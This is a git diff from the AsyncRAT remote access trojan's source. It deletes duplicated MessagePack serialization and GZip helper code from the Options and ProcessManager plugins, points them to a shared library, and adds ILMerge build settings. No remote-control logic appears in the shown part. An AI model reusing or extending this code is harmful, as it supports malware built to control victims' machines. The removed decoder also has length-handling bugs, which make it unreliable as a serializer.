BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/Options.csproj b/AsyncRAT-C#/Plugin/Options/Options/Options.csproj index 6feb2ee..1e94184 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Options.csproj +++ b/AsyncRAT-C#/Plugin/Options/Options/Options.csproj @@ -1,5 +1,7 @@  + + Debug @@ -50,16 +52,32 @@ - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/Packet.cs b/AsyncRAT-C#/Plugin/Options/Options/Packet.cs index d8d51fd..c2f6c05 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Packet.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Packet.cs @@ -1,5 +1,5 @@ using Plugin.Handler; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs b/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs index a59807f..631e7f3 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Plugin.cs @@ -1,17 +1,11 @@ -using Plugin.MessagePack; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Net.Security; +using System.Diagnostics; using System.Net.Sockets; using System.Security.Cryptography.X509Certificates; -using System.Text; using System.Threading; namespace Plugin { - public class Plugin + public class Plugin { public static Socket Socket; public static Mutex AppMutex; diff --git a/AsyncRAT-C#/Plugin/Options/Options/Zip.cs b/AsyncRAT-C#/Plugin/Options/Options/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/Options/Options/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/Options/Options/packages.config b/AsyncRAT-C#/Plugin/Options/Options/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs index 2981fcd..0ab1151 100644 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ILMerge.props b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case 